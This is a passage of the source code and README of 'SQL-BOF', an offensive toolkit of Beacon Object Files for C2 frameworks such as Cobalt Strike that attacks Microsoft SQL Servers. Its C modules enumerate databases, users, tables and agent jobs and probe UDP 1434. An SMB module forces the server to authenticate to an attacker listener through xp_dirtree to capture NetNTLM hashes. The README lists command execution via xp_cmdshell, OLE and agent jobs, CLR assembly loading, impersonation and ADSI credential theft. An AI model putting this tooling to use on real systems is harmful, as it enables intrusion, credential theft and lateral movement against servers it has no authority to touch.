END; 25 | } 26 | 27 | if (link == NULL) 28 | { 29 | internal_printf("[*] Executing custom query on %s\n\n", server); 30 | } 31 | else 32 | { 33 | internal_printf("[*] Executing custom query on %s via %s\n\n", link, server); 34 | } 35 | 36 | 37 | // 38 | // allocate statement handle 39 | // 40 | ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 41 | if (!SQL_SUCCEEDED(ret)) 42 | { 43 | internal_printf("[!] Error allocating statement handle\n"); 44 | goto END; 45 | } 46 | 47 | // 48 | // Run the query 49 | // 50 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, FALSE)){ 51 | goto END; 52 | } 53 | PrintQueryResults(stmt, TRUE); 54 | 55 | END: 56 | ODBC32$SQLCloseCursor(stmt); 57 | DisconnectSqlServer(env, dbc, stmt); 58 | } 59 | 60 | 61 | #ifdef BOF 62 | VOID go( 63 | IN PCHAR Buffer, 64 | IN ULONG Length 65 | ) 66 | { 67 | char* server; 68 | char* database; 69 | char* link; 70 | char* impersonate; 71 | char* query; 72 | 73 | // 74 | // parse beacon args 75 | // 76 | datap parser; 77 | BeaconDataParse(&parser, Buffer, Length); 78 | 79 | server = BeaconDataExtract(&parser, NULL); 80 | database = BeaconDataExtract(&parser, NULL); 81 | link = BeaconDataExtract(&parser, NULL); 82 | impersonate = BeaconDataExtract(&parser, NULL); 83 | query = BeaconDataExtract(&parser, NULL); 84 | 85 | server = *server == 0 ? "localhost" : server; 86 | database = *database == 0 ? "master" : database; 87 | link = *link == 0 ? NULL : link; 88 | impersonate = *impersonate == 0 ? NULL : impersonate; 89 | 90 | if(!bofstart()) 91 | { 92 | return; 93 | } 94 | 95 | if (UsingLinkAndImpersonate(link, impersonate)) 96 | { 97 | return; 98 | } 99 | 100 | if (query == NULL) 101 | { 102 | return; 103 | } 104 | 105 | CustomQuery(server, database, link, impersonate, query); 106 | 107 | printoutput(TRUE); 108 | }; 109 | 110 | #else 111 | 112 | int main() 113 | { 114 | internal_printf("============ BASE TEST ============\n\n"); 115 | CustomQuery("castelblack.north.sevenkingdoms.local", "master", NULL, NULL, "SELECT name, database_id FROM sys.databases;"); 116 | 117 | internal_printf("\n\n============ IMPERSONATE TEST ============\n\n"); 118 | CustomQuery("castelblack.north.sevenkingdoms.local", "master", NULL, "sa", "SELECT name, database_id FROM sys.databases;"); 119 | 120 | internal_printf("\n\n============ LINK TEST ============\n\n"); 121 | CustomQuery("castelblack.north.sevenkingdoms.local", "master", "BRAAVOS", NULL, "SELECT name, database_id FROM sys.databases;"); 122 | } 123 | 124 | #endif 125 | -------------------------------------------------------------------------------- /src/SQL/agentstatus/entry.c: -------------------------------------------------------------------------------- 1 | #include "bofdefs.h" 2 | #include "base.c" 3 | #include "sql.c" 4 | #include "sql_modules.c" 5 | #include "sql_agent.c" 6 | 7 | 8 | void CheckAgentStatus(char* server, char* database, char* link, char* impersonate) 9 | { 10 | SQLHENV env = NULL; 11 | SQLHSTMT stmt = NULL; 12 | SQLHDBC dbc = NULL; 13 | SQLRETURN ret; 14 | 15 | 16 | if (link == NULL) 17 | { 18 | dbc = ConnectToSqlServer(&env, server, database); 19 | } 20 | else 21 | { 22 | dbc = ConnectToSqlServer(&env, server, NULL); 23 | } 24 | 25 | if (dbc == NULL) { 26 | goto END; 27 | } 28 | 29 | if (link == NULL) 30 | { 31 | internal_printf("[*] Getting SQL agent status on %s\n\n", server); 32 | } 33 | else 34 | { 35 | internal_printf("[*] Getting SQL agent status on %s via %s\n\n", link, server); 36 | } 37 | 38 | // 39 | // allocate statement handle 40 | // 41 | ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 42 | if (!SQL_SUCCEEDED(ret)) { 43 | internal_printf("[!] Failed to allocate statement handle\n"); 44 | goto END; 45 | } 46 | 47 | if (!IsAgentRunning(stmt, link, impersonate)) 48 | { 49 | internal_printf("[!] SQL Agent is not running\n"); 50 | goto END; 51 | } 52 | 53 | // 54 | // Close the cursor 55 | // 56 | ret = ODBC32$SQLCloseCursor(stmt); 57 | if (!SQL_SUCCEEDED(ret)) { 58 | internal_printf("[!] Failed to close cursor\n"); 59 | goto END; 60 | } 61 | 62 | internal_printf("[*] SQL Agent is running\n\n"); 63 | 64 | if (!GetAgentJobs(stmt, link, impersonate)) 65 | { 66 | internal_printf("[!] Failed to get agent jobs\n"); 67 | goto END; 68 | } 69 | 70 | PrintQueryResults(stmt, TRUE); 71 | 72 | END: 73 | ODBC32$SQLCloseCursor(stmt); 74 | DisconnectSqlServer(env, dbc, stmt); 75 | } 76 | 77 | 78 | #ifdef BOF 79 | VOID go( 80 | IN PCHAR Buffer, 81 | IN ULONG Length 82 | ) 83 | { 84 | char* server; 85 | char* database; 86 | char* link; 87 | char* impersonate; 88 | 89 | // 90 | // parse beacon args 91 | // 92 | datap parser; 93 | BeaconDataParse(&parser, Buffer, Length); 94 | 95 | server = BeaconDataExtract(&parser, NULL); 96 | database = BeaconDataExtract(&parser, NULL); 97 | link = BeaconDataExtract(&parser, NULL); 98 | impersonate = BeaconDataExtract(&parser, NULL); 99 | 100 | server = *server == 0 ? "localhost" : server; 101 | database = *database == 0 ? "master" : database; 102 | link = *link == 0 ? NULL : link; 103 | impersonate = *impersonate == 0 ? NULL : impersonate; 104 | 105 | if(!bofstart()) 106 | { 107 | return; 108 | } 109 | 110 | if (UsingLinkAndImpersonate(link, impersonate)) 111 | { 112 | return; 113 | } 114 | 115 | CheckAgentStatus(server, database, link, impersonate); 116 | 117 | printoutput(TRUE); 118 | }; 119 | 120 | #else 121 | 122 | int main() 123 | { 124 | // 125 | // GOAD uses SQLExpress so turning to makeshift lab here 126 | // 127 | internal_printf("============ BASE TEST ============\n\n"); 128 | CheckAgentStatus("192.168.0.215", "master", NULL, NULL); 129 | 130 | internal_printf("\n\n============ IMPERSONATE TEST ============\n\n"); 131 | CheckAgentStatus("192.168.0.215", "master", NULL, "sa"); 132 | 133 | internal_printf("\n\n============ LINK TEST ============\n\n"); 134 | CheckAgentStatus("192.168.0.215", "master", "TRETOGOR", NULL); 135 | } 136 | 137 | #endif 138 | -------------------------------------------------------------------------------- /src/SQL/tables/entry.c: -------------------------------------------------------------------------------- 1 | #include "bofdefs.h" 2 | #include "base.c" 3 | #include "sql.c" 4 | 5 | 6 | void CheckTables(char* server, char* database, char* link, char* impersonate) 7 | { 8 | SQLHENV env = NULL; 9 | SQLHSTMT stmt = NULL; 10 | SQLHDBC dbc = NULL; 11 | char* query = NULL; 12 | SQLRETURN ret; 13 | 14 | if (link == NULL) 15 | { 16 | dbc = ConnectToSqlServer(&env, server, database); 17 | } 18 | else 19 | { 20 | dbc = ConnectToSqlServer(&env, server, NULL); 21 | } 22 | 23 | 24 | if (dbc == NULL) { 25 | goto END; 26 | } 27 | 28 | if (link == NULL) 29 | { 30 | internal_printf("[*] Enumerating tables in the %s database on %s\n\n", database, server); 31 | } 32 | else 33 | { 34 | internal_printf("[*] Enumerating tables in the %s database on %s via %s\n\n", database, link, server); 35 | } 36 | 37 | 38 | // 39 | // allocate statement handle 40 | // 41 | ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 42 | if (!SQL_SUCCEEDED(ret)) 43 | { 44 | internal_printf("[!] Error allocating statement handle\n"); 45 | goto END; 46 | } 47 | 48 | // 49 | // Construct query 50 | // 51 | char* prefix = "SELECT * FROM "; 52 | char* suffix = ".INFORMATION_SCHEMA.TABLES;"; 53 | 54 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(database) + MSVCRT$strlen(suffix) + 1; 55 | query = (char*)intAlloc(totalSize * sizeof(char)); 56 | 57 | MSVCRT$strcpy(query, prefix); 58 | MSVCRT$strncat(query, database, totalSize - MSVCRT$strlen(query) - 1); 59 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 60 | 61 | // 62 | // Run the query 63 | // 64 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, FALSE)){ 65 | goto END; 66 | } 67 | 68 | PrintQueryResults(stmt, TRUE); 69 | 70 | END: 71 | if (query != NULL) intFree(query); 72 | ODBC32$SQLCloseCursor(stmt); 73 | DisconnectSqlServer(env, dbc, stmt); 74 | } 75 | 76 | 77 | #ifdef BOF 78 | VOID go( 79 | IN PCHAR Buffer, 80 | IN ULONG Length 81 | ) 82 | { 83 | char* server; 84 | char* database; 85 | char* link; 86 | char* impersonate; 87 | 88 | // 89 | // parse beacon args 90 | // 91 | datap parser; 92 | BeaconDataParse(&parser, Buffer, Length); 93 | 94 | server = BeaconDataExtract(&parser, NULL); 95 | database = BeaconDataExtract(&parser, NULL); 96 | link = BeaconDataExtract(&parser, NULL); 97 | impersonate = BeaconDataExtract(&parser, NULL); 98 | 99 | server = *server == 0 ? "localhost" : server; 100 | database = *database == 0 ? "master" : database; 101 | link = *link == 0 ? NULL : link; 102 | impersonate = *impersonate == 0 ? NULL : impersonate; 103 | 104 | if(!bofstart()) 105 | { 106 | return; 107 | } 108 | 109 | if (UsingLinkAndImpersonate(link, impersonate)) 110 | { 111 | return; 112 | } 113 | 114 | CheckTables(server, database, link, impersonate); 115 | 116 | printoutput(TRUE); 117 | }; 118 | 119 | #else 120 | 121 | int main() 122 | { 123 | internal_printf("============ BASE TEST ============\n\n"); 124 | CheckTables("castelblack.north.sevenkingdoms.local", "master", NULL, NULL); 125 | 126 | internal_printf("\n\n============ IMPERSONATE TEST ============\n\n"); 127 | CheckTables("castelblack.north.sevenkingdoms.local", "master", NULL, "sa"); 128 | 129 | internal_printf("\n\n============ LINK TEST ============\n\n"); 130 | CheckTables("castelblack.north.sevenkingdoms.local", "master", "BRAAVOS", NULL); 131 | } 132 | 133 | #endif 134 | -------------------------------------------------------------------------------- /src/SQL/users/entry.c: -------------------------------------------------------------------------------- 1 | #include "bofdefs.h" 2 | #include "base.c" 3 | #include "sql.c" 4 | 5 | 6 | void CheckUsers(char* server, char* database, char* link, char* impersonate) 7 | { 8 | SQLHENV env = NULL; 9 | SQLHSTMT stmt = NULL; 10 | SQLHDBC dbc = NULL; 11 | char* query = NULL; 12 | SQLRETURN ret; 13 | 14 | if (link == NULL) 15 | { 16 | dbc = ConnectToSqlServer(&env, server, database); 17 | } 18 | else 19 | { 20 | dbc = ConnectToSqlServer(&env, server, NULL); 21 | } 22 | 23 | if (dbc == NULL) { 24 | goto END; 25 | } 26 | 27 | if (link == NULL) 28 | { 29 | internal_printf("[*] Enumerating users in the %s database on %s\n\n", database, server); 30 | } 31 | else 32 | { 33 | internal_printf("[*] Enumerating users in the %s database on %s via %s\n\n", database, link, server); 34 | } 35 | 36 | 37 | // 38 | // allocate statement handle 39 | // 40 | ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 41 | if (!SQL_SUCCEEDED(ret)) { 42 | internal_printf("[!] Failed to allocate statement handle\n"); 43 | goto END; 44 | } 45 | 46 | // 47 | // Construct query 48 | // 49 | char* prefix = "SELECT name AS username, create_date, " 50 | "modify_date, type_desc AS type, authentication_type_desc AS " 51 | "authentication_type FROM "; 52 | char* suffix = ".sys.database_principals WHERE type NOT " 53 | "IN ('A', 'R', 'X') AND sid IS NOT null ORDER BY username;"; 54 | 55 | 56 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(database) + MSVCRT$strlen(suffix) + 1; 57 | query = (char*)intAlloc(totalSize * sizeof(char)); 58 | 59 | MSVCRT$strcpy(query, prefix); 60 | MSVCRT$strncat(query, database, totalSize - MSVCRT$strlen(query) - 1); 61 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 62 | 63 | // 64 | // Run the query 65 | // 66 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, FALSE)){ 67 | goto END; 68 | } 69 | 70 | PrintQueryResults(stmt, TRUE); 71 | 72 | END: 73 | if (query != NULL) intFree(query); 74 | ODBC32$SQLCloseCursor(stmt); 75 | DisconnectSqlServer(env, dbc, stmt); 76 | } 77 | 78 | 79 | #ifdef BOF 80 | VOID go( 81 | IN PCHAR Buffer, 82 | IN ULONG Length 83 | ) 84 | { 85 | char* server; 86 | char* database; 87 | char* link; 88 | char* impersonate; 89 | 90 | // 91 | // parse beacon args 92 | // 93 | datap parser; 94 | BeaconDataParse(&parser, Buffer, Length); 95 | 96 | server = BeaconDataExtract(&parser, NULL); 97 | database = BeaconDataExtract(&parser, NULL); 98 | link = BeaconDataExtract(&parser, NULL); 99 | impersonate = BeaconDataExtract(&parser, NULL); 100 | 101 | server = *server == 0 ? "localhost" : server; 102 | database = *database == 0 ? "master" : database; 103 | link = *link == 0 ? NULL : link; 104 | impersonate = *impersonate == 0 ? NULL : impersonate; 105 | 106 | if(!bofstart()) 107 | { 108 | return; 109 | } 110 | 111 | if (UsingLinkAndImpersonate(link, impersonate)) 112 | { 113 | return; 114 | } 115 | 116 | CheckUsers(server, database, link, impersonate); 117 | 118 | printoutput(TRUE); 119 | }; 120 | 121 | #else 122 | 123 | int main() 124 | { 125 | internal_printf("============ BASE TEST ============\n\n"); 126 | CheckUsers("castelblack.north.sevenkingdoms.local", "master", NULL, NULL); 127 | 128 | internal_printf("\n\n============ IMPERSONATE TEST ============\n\n"); 129 | CheckUsers("castelblack.north.sevenkingdoms.local", "master", NULL, "sa"); 130 | 131 | internal_printf("\n\n============ LINK TEST ============\n\n"); 132 | CheckUsers("castelblack.north.sevenkingdoms.local", "master", "BRAAVOS", NULL); 133 | } 134 | 135 | #endif 136 | -------------------------------------------------------------------------------- /src/SQL/search/entry.c: -------------------------------------------------------------------------------- 1 | #include "bofdefs.h" 2 | #include "base.c" 3 | #include "sql.c" 4 | 5 | 6 | void Search(char* server, char* database, char* link, char* impersonate, char* keyword) 7 | { 8 | SQLHENV env = NULL; 9 | SQLHSTMT stmt = NULL; 10 | SQLHDBC dbc = NULL; 11 | char* query = NULL; 12 | SQLRETURN ret; 13 | 14 | 15 | if (link == NULL) 16 | { 17 | dbc = ConnectToSqlServer(&env, server, database); 18 | } 19 | else 20 | { 21 | dbc = ConnectToSqlServer(&env, server, NULL); 22 | } 23 | 24 | if (dbc == NULL) { 25 | goto END; 26 | } 27 | 28 | if (link == NULL) 29 | { 30 | internal_printf("[*] Searching for columns containing \"%s\" in %s on %s\n\n", keyword, database, server); 31 | } 32 | else 33 | { 34 | internal_printf("[*] Searching for columns containing \"%s\" in %s on %s via %s\n\n", keyword, database, link, server); 35 | } 36 | 37 | 38 | // 39 | // allocate statement handle 40 | // 41 | ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 42 | if (!SQL_SUCCEEDED(ret)) 43 | { 44 | internal_printf("[!] Error allocating statement handle\n"); 45 | goto END; 46 | } 47 | 48 | // 49 | // Construct query 50 | // 51 | char* prefix = "SELECT table_name, column_name FROM "; 52 | char* middle = ".information_schema.columns WHERE column_name LIKE '%"; 53 | char* suffix = "%';"; 54 | 55 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(database) + MSVCRT$strlen(middle) + MSVCRT$strlen(keyword) + MSVCRT$strlen(suffix) + 1; 56 | query = (char*)intAlloc(totalSize * sizeof(char)); 57 | 58 | MSVCRT$strcpy(query, prefix); 59 | MSVCRT$strncat(query, database, totalSize - MSVCRT$strlen(query) - 1); 60 | MSVCRT$strncat(query, middle, totalSize - MSVCRT$strlen(query) - 1); 61 | MSVCRT$strncat(query, keyword, totalSize - MSVCRT$strlen(query) - 1); 62 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 63 | 64 | // 65 | // Run the query 66 | // 67 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE)){ 68 | goto END; 69 | } 70 | 71 | PrintQueryResults(stmt, TRUE); 72 | 73 | END: 74 | if (query != NULL) intFree(query); 75 | ODBC32$SQLCloseCursor(stmt); 76 | DisconnectSqlServer(env, dbc, stmt); 77 | } 78 | 79 | 80 | #ifdef BOF 81 | VOID go( 82 | IN PCHAR Buffer, 83 | IN ULONG Length 84 | ) 85 | { 86 | char* server; 87 | char* database; 88 | char* link; 89 | char* impersonate; 90 | char* keyword; 91 | 92 | // 93 | // parse beacon args 94 | // 95 | datap parser; 96 | BeaconDataParse(&parser, Buffer, Length); 97 | 98 | server = BeaconDataExtract(&parser, NULL); 99 | database = BeaconDataExtract(&parser, NULL); 100 | link = BeaconDataExtract(&parser, NULL); 101 | impersonate = BeaconDataExtract(&parser, NULL); 102 | keyword = BeaconDataExtract(&parser, NULL); 103 | 104 | server = *server == 0 ? "localhost" : server; 105 | database = *database == 0 ? "master" : database; 106 | link = *link == 0 ? NULL : link; 107 | impersonate = *impersonate == 0 ? NULL : impersonate; 108 | 109 | if(!bofstart()) 110 | { 111 | return; 112 | } 113 | 114 | if (UsingLinkAndImpersonate(link, impersonate)) 115 | { 116 | return; 117 | } 118 | 119 | Search(server, database, link, impersonate, keyword); 120 | 121 | printoutput(TRUE); 122 | }; 123 | 124 | #else 125 | 126 | int main() 127 | { 128 | internal_printf("============ BASE TEST ============\n\n"); 129 | Search("castelblack.north.sevenkingdoms.local", "master", NULL, NULL, "idle"); 130 | 131 | internal_printf("\n\n============ IMPERSONATE TEST ============\n\n"); 132 | Search("castelblack.north.sevenkingdoms.local", "master", NULL, "sa", "idle"); 133 | 134 | internal_printf("\n\n============ LINK TEST ============\n\n"); 135 | Search("castelblack.north.sevenkingdoms.local", "master", "BRAAVOS", NULL, "idle"); 136 | } 137 | 138 | #endif 139 | -------------------------------------------------------------------------------- /src/SQL/smb/entry.c: -------------------------------------------------------------------------------- 1 | #include "bofdefs.h" 2 | #include "base.c" 3 | #include "sql.c" 4 | 5 | 6 | void CoerceSmb(char* server, char* database, char* link, char* impersonate, char* listener) 7 | { 8 | SQLHENV env = NULL; 9 | SQLHSTMT stmt = NULL; 10 | SQLHDBC dbc = NULL; 11 | char * query = NULL; 12 | SQLRETURN ret; 13 | size_t totalSize; 14 | 15 | 16 | if (link == NULL) 17 | { 18 | dbc = ConnectToSqlServer(&env, server, database); 19 | } 20 | else 21 | { 22 | dbc = ConnectToSqlServer(&env, server, NULL); 23 | } 24 | 25 | if (dbc == NULL) { 26 | goto END; 27 | } 28 | 29 | // 30 | // allocate statement handle 31 | // 32 | ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 33 | if (!SQL_SUCCEEDED(ret)) 34 | { 35 | internal_printf("[!] Error allocating statement handle\n"); 36 | goto END; 37 | } 38 | 39 | char* linkPrefix = "SELECT 1; "; 40 | char* prefix = "EXEC master..xp_dirtree '"; 41 | char* suffix = "';"; 42 | 43 | if (link == NULL) 44 | { 45 | internal_printf("[*] Triggering SMB request to %s on %s\n\n", listener, server); 46 | totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(listener) + MSVCRT$strlen(suffix) + 1; 47 | query = (char*)intAlloc(totalSize * sizeof(char)); 48 | MSVCRT$strcpy(query, prefix); 49 | } 50 | else 51 | { 52 | internal_printf("[*] Triggering SMB request to %s on %s via %s\n\n", listener, link, server); 53 | totalSize = MSVCRT$strlen(linkPrefix) + MSVCRT$strlen(prefix) + MSVCRT$strlen(listener) + MSVCRT$strlen(suffix) + 1; 54 | query = (char*)intAlloc(totalSize * sizeof(char)); 55 | MSVCRT$strcpy(query, linkPrefix); 56 | MSVCRT$strncat(query, prefix, totalSize - MSVCRT$strlen(linkPrefix) - 1); 57 | } 58 | 59 | MSVCRT$strncat(query, listener, totalSize - MSVCRT$strlen(linkPrefix) - 1); 60 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(linkPrefix) - 1); 61 | 62 | // 63 | // Run the query 64 | // 65 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE)){ 66 | goto END; 67 | } 68 | 69 | internal_printf("[*] SMB request triggered\n"); 70 | 71 | END: 72 | if (query != NULL) intFree(query); 73 | ODBC32$SQLCloseCursor(stmt); 74 | DisconnectSqlServer(env, dbc, stmt); 75 | } 76 | 77 | 78 | #ifdef BOF 79 | VOID go( 80 | IN PCHAR Buffer, 81 | IN ULONG Length 82 | ) 83 | { 84 | char* server; 85 | char* database; 86 | char* link; 87 | char* impersonate; 88 | char* listener; 89 | 90 | // 91 | // parse beacon args 92 | // 93 | datap parser; 94 | BeaconDataParse(&parser, Buffer, Length); 95 | 96 | server = BeaconDataExtract(&parser, NULL); 97 | database = BeaconDataExtract(&parser, NULL); 98 | link = BeaconDataExtract(&parser, NULL); 99 | impersonate = BeaconDataExtract(&parser, NULL); 100 | listener = BeaconDataExtract(&parser, NULL); 101 | 102 | server = *server == 0 ? "localhost" : server; 103 | database = *database == 0 ? "master" : database; 104 | link = *link == 0 ? NULL : link; 105 | impersonate = *impersonate == 0 ? NULL : impersonate; 106 | 107 | if(!bofstart()) 108 | { 109 | return; 110 | } 111 | 112 | if (UsingLinkAndImpersonate(link, impersonate)) 113 | { 114 | return; 115 | } 116 | 117 | CoerceSmb(server, database, link, impersonate, listener); 118 | 119 | printoutput(TRUE); 120 | }; 121 | 122 | #else 123 | 124 | int main() 125 | { 126 | internal_printf("============ BASE TEST ============\n\n"); 127 | CoerceSmb("castelblack.north.sevenkingdoms.local", "master", NULL, NULL, "\\\\10.2.99.1"); 128 | 129 | internal_printf("\n\n============ IMPERSONATE TEST ============\n\n"); 130 | CoerceSmb("castelblack.north.sevenkingdoms.local", "master", NULL, "sa", "\\\\10.2.99.1"); 131 | 132 | internal_printf("\n\n============ LINK TEST ============\n\n"); 133 | CoerceSmb("castelblack.north.sevenkingdoms.local", "master", "BRAAVOS", NULL, "\\\\10.2.99.1"); 134 | } 135 | 136 | #endif 137 | -------------------------------------------------------------------------------- /src/SQL/1434udp/entry.c: -------------------------------------------------------------------------------- 1 | #include "bofdefs.h" 2 | #include "base.c" 3 | 4 | 5 | void UdpEnumInfo(char* serverIp) 6 | { 7 | int port = 1434; 8 | int timeout = 1000; 9 | WSADATA wsaData; 10 | SOCKET udpSocket = INVALID_SOCKET; 11 | struct sockaddr_in serverAddr; 12 | char sendBuffer[1] = { 0x02 }; 13 | char recvBuffer[1024]; 14 | int recvBufferLen = sizeof(recvBuffer); 15 | int serverAddrLen = sizeof(serverAddr); 16 | char* response = NULL; 17 | 18 | if (WS2_32$WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) { 19 | internal_printf("WSAStartup failed with error: %d\n", WS2_32$WSAGetLastError()); 20 | return; 21 | } 22 | 23 | // 24 | // Create a UDP socket 25 | // 26 | udpSocket = WS2_32$socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); 27 | if (udpSocket == INVALID_SOCKET) { 28 | internal_printf("Socket creation failed with error: %d\n", WS2_32$WSAGetLastError()); 29 | goto END; 30 | } 31 | 32 | if (WS2_32$setsockopt(udpSocket, SOL_SOCKET, SO_RCVTIMEO, (char*)&timeout, sizeof(timeout)) == SOCKET_ERROR) { 33 | internal_printf("Failed to set receive timeout: %d\n", WS2_32$WSAGetLastError()); 34 | goto END; 35 | } 36 | 37 | if (WS2_32$setsockopt(udpSocket, SOL_SOCKET, SO_SNDTIMEO, (char*)&timeout, sizeof(timeout)) == SOCKET_ERROR) { 38 | internal_printf("Failed to set send timeout: %d\n", WS2_32$WSAGetLastError()); 39 | goto END; 40 | } 41 | 42 | intZeroMemory(&serverAddr, sizeof(serverAddr)); 43 | serverAddr.sin_family = AF_INET; 44 | serverAddr.sin_port = WS2_32$htons(port); 45 | if (WS2_32$inet_pton(AF_INET, serverIp, &serverAddr.sin_addr) != 1) { 46 | internal_printf("Invalid server IP address.\n"); 47 | goto END; 48 | } 49 | 50 | // 51 | // Send the magic 0x02 byte 52 | // 53 | if (WS2_32$sendto(udpSocket, sendBuffer, sizeof(sendBuffer), 0, (struct sockaddr*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) { 54 | internal_printf("Failed to send request: %d\n", WS2_32$WSAGetLastError()); 55 | goto END; 56 | } 57 | 58 | int bytesReceived = WS2_32$recvfrom(udpSocket, recvBuffer, recvBufferLen - 1, 0, (struct sockaddr*)&serverAddr, &serverAddrLen); 59 | if (bytesReceived == SOCKET_ERROR) { 60 | internal_printf("Failed to receive response: %d\n", WS2_32$WSAGetLastError()); 61 | goto END; 62 | } 63 | 64 | recvBuffer[bytesReceived] = '\0'; 65 | 66 | response = intAlloc(bytesReceived + 1); 67 | if (response == NULL) { 68 | internal_printf("Memory allocation failed.\n"); 69 | goto END; 70 | } 71 | 72 | // 73 | // Convert the response to a printable string 74 | // 75 | int responseIndex = 0; 76 | for (int i = 0; i < bytesReceived; ++i) { 77 | if (recvBuffer[i] >= 32 && recvBuffer[i] <= 126) { 78 | response[responseIndex++] = recvBuffer[i]; 79 | } 80 | } 81 | response[responseIndex] = '\0'; 82 | 83 | if (response != NULL) { 84 | internal_printf("SQL Server Connection Info:\n\n%s\n", response); 85 | intFree(response); 86 | } else { 87 | internal_printf("Failed to retrieve SQL Server info.\n"); 88 | } 89 | 90 | END: 91 | // Cleanup 92 | if (udpSocket != INVALID_SOCKET) { 93 | WS2_32$closesocket(udpSocket); 94 | } 95 | WS2_32$WSACleanup(); 96 | } 97 | 98 | 99 | #ifdef BOF 100 | VOID go( 101 | IN PCHAR Buffer, 102 | IN ULONG Length 103 | ) 104 | { 105 | char* ip; 106 | 107 | // 108 | // parse beacon args 109 | // 110 | datap parser; 111 | BeaconDataParse(&parser, Buffer, Length); 112 | 113 | ip = BeaconDataExtract(&parser, NULL); 114 | 115 | ip = *ip == 0 ? NULL : ip; 116 | 117 | if(!bofstart()) 118 | { 119 | return; 120 | } 121 | 122 | if (ip == NULL) 123 | { 124 | internal_printf("[!] IP argument is required\n"); 125 | printoutput(TRUE); 126 | return; 127 | } 128 | 129 | UdpEnumInfo(ip); 130 | 131 | printoutput(TRUE); 132 | }; 133 | 134 | #else 135 | 136 | int main() 137 | { 138 | UdpEnumInfo("10.5.10.22"); 139 | } 140 | 141 | #endif 142 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SQL-BOF 2 | A library of beacon object files to interact with remote SQL servers and data. This collection is templated off the TrustedSec [CS-Situational-Awareness-BOF](https://github.com/trustedsec/CS-Situational-Awareness-BOF) collection and models the functionality of the [SQLRecon](https://github.com/skahwah/SQLRecon) project. 3 | 4 | ## Usage 5 | - Cobalt Strike: Load the aggressor script located at `SQL/SQL.cna` 6 | - Havoc: Load the python script located at `SQL/SQL.py` 7 | - Adaptix: Load the ax script located at `SQL/SQL.axs` 8 | - Outflank C2: Load the python script located at `SQL/sql_bof.s1.py` 9 | 10 | ## Available commands 11 | |Commands|Usage|Notes| 12 | |--------|-----|-----| 13 | |sql-1434udp|[server IP] |Enumerate SQL Server connection info | 14 | |sql-adsi|[server] [ADSI_linkedserver] [opt: port] [opt: database] [opt: linkedserver] [opt: impersonate] |Obtain ADSI creds from ADSI linked server | 15 | |sql-agentcmd |[server] [command] [opt: database] [opt: linkedserver] [opt: impersonate] |Execute a system command using agent jobs | 16 | |sql-agentstatus |[server] [opt: database] [opt: linkedserver] [opt: impersonate] |Enumerate SQL agent status and jobs | 17 | |sql-checkrpc |[server] [opt: database] [opt: linkedserver] [opt: impersonate] |Enumerate RPC status of linked servers | 18 | |sql-clr |[server] [dll_path] [function] [opt: database] [opt: linkedserver] [opt: impersonate] |Load and execute .NET assembly in a stored procedure | 19 | |sql-columns |[server] [table] [opt: database] [opt: linkedserver] [opt: impersonate] |Enumerate columns within a table | 20 | |sql-databases |[server] [opt: database] [opt: linkedserver] [opt: impersonate] |Enumerate databases on a server| 21 | |sql-disableclr |[server] [opt: database] [opt: linkedserver] [opt: impersonate] |Disable CLR integration | 22 | |sql-disableole |[server] [opt: database] [opt: linkedserver] [opt: impersonate] |Disable OLE Automation Procedures | 23 | |sql-disablerpc |[server] [linkedserver] [opt: database] [opt: impersonate] |Disable RPC and RPC out on a linked server | 24 | |sql-disablexp |[server] [opt: database] [opt: linkedserver] [opt: impersonate] |Disable xp_cmdshell | 25 | |sql-enableclr |[server] [opt: database] [opt: linkedserver] [opt: impersonate] |Enable CLR integration | 26 | |sql-enableole |[server] [opt: database] [opt: linkedserver] [opt: impersonate] |Enable OLE Automation Procedures | 27 | |sql-enablerpc |[server] [linkedserver] [opt: database] [opt: impersonate] |Enable RPC and RPC out on a linked server | 28 | |sql-enablexp |[server] [opt: database] [opt: linkedserver] [opt: impersonate] |Enable xp_cmdshell | 29 | |sql-impersonate |[server] [opt: database] |Enumerate users that can be impersonated | 30 | |sql-info |[server] [opt: database] |Gather information about the SQL server | 31 | |sql-links |[server] [opt: database] [opt: linkedserver] [opt: impersonate] |Enumerate linked servers | 32 | |sql-olecmd |[server] [command] [opt: database] [opt: linkedserver] [opt: impersonate] |Execute a system command using OLE automation procedures | 33 | |sql-query |[server] [query] [opt: database] [opt: linkedserver] [opt: impersonate] |Execute a custom SQL query | 34 | |sql-rows |[server] [table] [opt: database] [opt: linkedserver] [opt: impersonate] |Get the count of rows in a table | 35 | |sql-search |[server] [search] [opt: database] [opt: linkedserver] [opt: impersonate] |Search a table for a column name | 36 | |sql-smb |[server] [\\\\listener] [opt: database] [opt: linkedserver] [opt: impersonate] |Coerce NetNTLM auth via xp_dirtree | 37 | |sql-tables |[server] [opt: database] [opt: linkedserver] [opt: impersonate] |Enumerate tables within a database | 38 | |sql-users |[server] [opt: database] [opt: linkedserver] [opt: impersonate] |Enumerate users with database access | 39 | |sql-whoami |[server] [opt: database] [opt: linkedserver] [opt: impersonate] |Gather logged in user, mapped user and roles | 40 | |sql-xpcmd |[server] [command] [opt: database] [opt: linkedserver] [opt: impersonate] 